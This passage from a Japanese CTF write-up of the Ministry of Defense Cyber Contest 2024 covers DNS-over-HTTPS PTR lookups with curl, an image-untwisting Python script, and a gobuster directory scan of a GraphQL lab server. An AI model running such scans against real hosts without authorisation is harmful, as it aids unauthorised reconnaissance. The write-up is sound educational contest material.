* Connection #0 to host 10.10.10.20 left intact
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"example.com.","type":255}],"Answer":[{"name":"example.com.","type":6,"TTL":86400,"Expires":"Tue, 27 Feb 2024 08:17:21 UTC","data":"ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"},{"name":"example.com.","type":15,"TTL":86400,"Expires":"Tue, 27 Feb 2024 08:17:21 UTC","data":"1 ns.example.com."},{"name":"example.com.","type":2,"TTL":86400,"Expires":"Tue, 27 Feb 2024 08:17:21 UTC","data":"ns.example.com."}],"Additional":[{"name":"ns.example.com.","type":1,"TTL":86400,"Expires":"Tue, 27 Feb 2024 08:17:21 UTC","data":"10.10.10.20"}]}
$

ここまでは早めに到達できましたが、ここからひたすら悩みました。ANYやAXFRレコード含めて色々クエリを投げてみましたが、example.com以下のほんの少しだけの情報だけ回答してくれるようでした。List of DNS record types - Wikipediaを見ながらローラーしてみましたが、新しい情報は何もありませんでした。悩んでヒントをすべて開けましたが、新しい情報は無さそうでした。

競技終了10分前になって、「そういえばさっきまでPTRレコードの逆引きをname=10.20.20.20で試していたけれど、正しくは何か別の形式だったのでは?」と気付きました。調べると20.10.10.10.in-addr.arpaが正しい表記方法と分かったので早速試しました:

$ # 間違い
$ curl -sk -H "accept: application/dns-json" "https://10.10.10.20/dns-query?name=10.10.10.20&type=ptr" | jq
{
  "Status": 2,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "10.10.10.20.",
      "type": 12
    }
  ]
}
$ # 正解
$ curl -sk -H "accept: application/dns-json" "https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa&type=ptr" | jq
{
  "Status": 0,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "20.10.10.10.in-addr.arpa.",
      "type": 12
    }
  ],
  "Answer": [
    {
      "name": "20.10.10.10.in-addr.arpa.",
      "type": 12,
      "TTL": 86400,
      "Expires": "Mon, 26 Feb 2024 11:55:05 UTC",
      "data": "DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com."
    }
  ]
}
$

ついに新情報DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.comを得られました。ただ、DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-guに何の意味があるのか全く分かりませんでした。Base64 URLデコードしても謎のバイト列が得られるだけでした。Cyberchefで各種BaseNNデコードを試しましたが何も分かりませんでした。終了3分前に試しにflag{DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu}を提出してみましたが不正解でした。絶望しながら終了時間を迎えました。

防衛省サイバーコンテスト 2024 writeup - st98 の日記帳 - コピーによると、https://DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com相当の通信でフラグが表示されるとのことです。終了後に試しました:

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.10.21     schatzsuche.ctf
10.10.10.20     DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com


┌──(kali㉿kali)-[~]
└─$  curl -k https://DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com
<!DOCTYPE html>
<html>
<head>
<title>DO tHe best</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
        <h1>flag{8NZfrhDH-ZGe}</h1>
</body>
</html>

$

あと一歩でしたが、ゴールに到達できなかったことが非常に悔しいです。

[Programming] Randomness Extraction (45 solved, 20 points)

ファイル random.dat は一様でない乱数生成器の出力ですが、一部にフラグが埋め込まれています。フォン・ノイマンランダムネスエクストラクターを適用してフラグを抽出してください。

解答形式:flag{XXXXXXX} (半角英数字)

2 ポイントを消費してヒントを表示する
入力はビット列として解釈してください。また、エクストラクター適用後のデータのどこかにフラグが平文で記述されています。

何もかもが始めて聞く単語だったことと、Randomness extractor - Wikipediaを斜め読みしても何をすればいいのか分からなかったことから、全然手を付けませんでした。

防衛省サイバーコンテスト 2024 Writeup - はまやんはまやんはまやんによると、そのWikipediaの記事のとおりに実装すればフラグが見えるそうです。

[Programming] Twisted Text (74 solved, 30 points)

添付の画像 Twisted.png は、画像の中心からの距離 r [pixel] に対して

θ = - (r ^ 2) / (250 ^ 2) [rad]
だけ回転されています(反時計回りを正とします)。逆変換を施してフラグを復元してください。

解答形式:flag{XXXXXXX} (半角英数字)

本問題にヒントはありません。配布ファイルとして、Twisted.pngがありました:

問題文の逆演算を施すだけのはずなのですが、逆演算の式が全く分からないまま1時間溶かして諦めました……。

防衛省サイバーコンテスト 2024 - Writeup | 俺とお前とlaysakuraなどの解かれた方の記事を読むと、私は回転させる式を全く理解できていなかったことが分かりました。記事を拝見しながら修正したコードです:

#!/usr/bin/env python3

import math
import numpy as np
import cv2

image = cv2.imread("Twisted.png")
height = image.shape[0]
width = image.shape[1]
rgb = image.shape[2]
print(image.shape)

center_x = width // 2
center_y = height // 2

print(center_x, center_y)
new_image = np.ones(image.shape, np.uint8)

for y in range(height):
    for x in range(width):
        c_x = (x - center_x + 0.5)
        c_y = (y - center_y + 0.5)
        r = math.sqrt(c_x * c_x + c_y * c_y)
        theta_rad = 1 * pow(r, 2) / pow(250, 2)

        # 競技時間中に使っていて、延々と悩んでいた式
        # prev_x = round(math.cos(theta_rad) * r) + c_x
        # prev_y = round(math.sin(theta_rad) * r) + c_y

        # 他の方のwrite-upを見て分かった正しい式
        prev_x = round(c_x * math.cos(theta_rad) - c_y * math.sin(theta_rad)) + center_x
        prev_y = round(c_x * math.sin(theta_rad) + c_y * math.cos(theta_rad)) + center_y

        if 0 <= prev_x < width and 0 <= prev_y < height:
            for color in range(rgb):
                new_image[y][x][color] = image[prev_y][prev_x][color]

cv2.imwrite("result.png", new_image)

正しい式を使った場合の生成結果です:

「回転行列を作用させた場合の式」をイメージできていれば、時間内に解けていたかもしれません……。CopilotやChatGPTなど、生成AIに「第三者からの意見」を求めるのも良さそうな方法に思いました。

[Web] Are You Introspective? (26 solved, 10 points)

http://10.10.10.31 にアクセスしてフラグを見つけ出し、解答してください。 このサイトでは GraphQL が使用されているため、まずは endpoint を探す必要があります。

解答形式:FLAG{************}

1 ポイントを消費してヒントを表示する
GraphQL の endpoint がどんな path で表現されるか、注意深く調べましょう。 version 管理されている可能性も考慮してください。

1 ポイントを消費してヒントを表示する
GraphQL の機能の一つである introspection が使えそうです。

1 ポイントを消費してヒントを表示する
Introspection からなるべく多く情報が得られるように query をしてみて、出力を注視して下さい。

配布ファイルはありません。ブラウザアクセスしてみてもCannot GET /等の簡素なレスポンスのみが得られました。ディレクトリスキャンをしても何も見つかりませんでした:

┌──(kali㉿kali)-[~/winshare/work]
└─$ gobuster dir -k --url 'http://'$RHOST':80/' -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x txt,html,htm,php,cgi -o gobuster_80_medium_ext.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.31:80/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,htm,php,cgi
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 1323360 / 1323366 (100.00%)
===============================================================
Finished
===============================================================

┌──(kali㉿kali)-[~/winshare/work]
└─$

GraphQL エンドポイントなどでGoogle検索して、見つけた/graphqlへアクセスしても同様にエラーでした。GraphQLを扱うのは始めてということもあり、この問題は諦めて他の問題へ移りました。

終わった後にヒントを見ると、バージョン番号も重要だったようです。防衛省サイバーコンテスト 2024 - Writeup | 俺とお前とlaysakuraによると、慣れた方なら「よくあるパス」も分かっており、問題なく/v1/graphqlを発見できて解けたとのことです。

感想

  • Volatility 3 Frameworkを始めてまともに使いました。以前一瞬触った記憶では、毎回毎回profile指定が必要で面倒な印象がありましたが、どうやら今では指定不要になったようで便利です。メモリダンプ全体の全検査では時間がかかりがちなので、適切に絞り込むことが重要に思いました。
  • DNS over HTTPSを始めて触りました。本当にHTTPSそのものなんですね。
  • Pythonに慣れた状態で久しぶりにC++を書いていると、文末セミコロン忘れや、if文での条件式の丸括弧忘れを何度もやらかしました。慣れは重要……!
  • Programmingジャンルで苦戦しました。以前比較で実装力が落ちていそうです。
  • 一見Base64風味ですがBase64ではないエンコード方法、もう二度と忘れません。
  • 12時間という開催期間は、ご飯時以外に継続して取り組みやすい、いい時間かなと思いました。
  • シリーズの問題を正解すると「次の問題へ」ボタンも表示されていたため、シリーズであることがわかりやすかったです。
  • 問題タイトルから解法を推測する問題がしばしばありました。この点は好みが分かれるかもしれません。
  • 今回も競技サーバー等のシャットダウンが早めのようでした。
    • 02/25(日) 20:45(=終了15分前)のメールで問題用サーバー・ VPN 環境につきましても順次停止してまいります。ご了承ください。とのお知らせがありました。
    • 02/25(日) 21:00に競技終了しました。
    • 02/25(日) 21:04頃には、一旦問題サーバーが接続不能になりました。
    • 02/25(日) 21:26頃には、問題サーバーへ接続可能に戻りました。また、すべてのヒントを減点無しで閲覧可能になりました。
    • 02/26(月) 17:57頃では、問題サーバーやWeb問題サーバー等へまだアクセスできてました。
    • 02/26(月) 18:42頃には、問題サーバーへ接続不能になりました。(ブラウザアクセスでvlc-cybercontest.com took too long to respond.と表示される状況)
    • 02/26(月) 18:52頃には、Web問題サーバーへ接続不能になっていました。

また、昨年8月の第3回のときと比べて、様々な面で改善されているのが非常に良かったです。(参考: 前回のwrite-up記事)

  • 参加登録にあたって、前回はパスポート等の身分証明書の提出が必須でしたが、今回は不要でした。参加しやすくなりました。
  • 参加登録時にメールアドレスを正しく入力できているかどうか、前回は開催直前の参加要領等のお知らせメールが最初でした。今回は参加登録直後に参加登録完了のご案内メールが届いており、正しく登録できたことを確信できました。
  • 前回はいくつか「この問題でこのジャンルはいかがなものか」と思うときがありましたが、今回はすべての問題で適切なジャンルが設定されているように感じました。(ちなみに参加者要領で、Miscジャンルはバイナリ解析などその他の問題と明記されているため、Reversing風味の問題が含まれていることも納得しています)
  • 今回はジャッジサーバーが非常に安定していました。少なくとも私がアクセスした範囲では、フラグ提出時のエラー等は一度もありませんでした。ありがたいことです。
    • Network問題用のサーバーで「高負荷のため再起動」は2度あったとのお知らせはありました。ただ、各種スキャンが集中するジャンルですので仕方ないと思います。
  • 02/27(火)に、成績表とアンケートURLの記載があるメールが届きました。真っ当にアンケートに回答しました。